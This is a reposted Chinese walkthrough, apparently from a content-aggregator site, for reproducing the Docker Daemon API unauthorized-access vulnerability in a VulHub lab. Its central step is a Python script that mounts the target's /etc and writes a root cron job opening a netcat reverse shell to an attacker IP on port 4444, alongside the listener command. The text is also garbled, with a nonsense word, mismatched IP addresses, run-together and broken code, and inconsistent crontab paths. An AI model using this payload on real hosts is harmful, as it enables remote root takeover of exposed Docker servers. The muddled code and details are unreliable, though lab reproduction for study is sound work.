本文共 1332 字,大约阅读时间需要 4 分钟。
要复现该漏洞,首先需要一个功能正常的Docker环境。请按照以下步骤操作:
启动Docker服务
使用以下命令启动Docker服务:systemctl start docker
获取VulHub镜像
克隆包含漏洞示例的GitHub仓库:git clone --depth=1 https://github.com/vulhub/vulhub.git ``
进入目标目录
使用以下命令进入VulHub中的相关子目录:cd vulhub/docker/unauthorized-rce/
启动漏洞示例容器
使用Docker Compose启动一个Remind容器,该容器会用于触发漏洞:docker-compose up -d
验证容器状态
使用以下命令查看当前运行的容器状态:docker ps
容器应显示一个名为"unauthorized-rce"
的容器运行中。此时,可以通过浏览器访问http://127.0.0.1:2375/version
验证Docker Daemon API的状态。
接下来,我们将引入一个简单的验证脚本来测试漏洞:
获取远程主机IP地址
确认Kali和CentOS主机的IP地址,例如:192.138.164.134
192.168.42.133
启动 listener 监听4444端口
在Kali机器上使用Netcat监听4444端口:nc -lvvp 4444
测试漏洞
在CentOS机器上运行以下命令,尝试绕过Docker Daemon的权限检查:import dockerclientfrom dockerclient import DockerClientclient = DockerClient(base_url='http://192.168.42.133:2375/')data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc 192.138.164.134 4444 -e /bin/sh' > /tmp/etc/crontabs/root" ''', remove=True, volumes={ '/etc': { 'bind': '/tmp/etc', 'mode': 'rw' }})
当脚本运行完成后,您应该看到以下内容:
腥鸭在Kali机器上显示正处于监听状态(如下图):
[#] nc -lvvp 4444(Waiting for connection...)
脚本在CentOS机器上成功绕过权限检查,生成cron文件:
sh -c "echo '* * * * * /usr/bin/nc 192.138.164.134 4444 -e /bin/sh' > /tmp/etc/crontabs/root"
这样,说明我们成功触发了Docker Daemon API 的未授权访问漏洞。
更多技术细节,请参考以下链接:
GitHub仓库 README转载地址:http://nxzaz.baihongyu.com/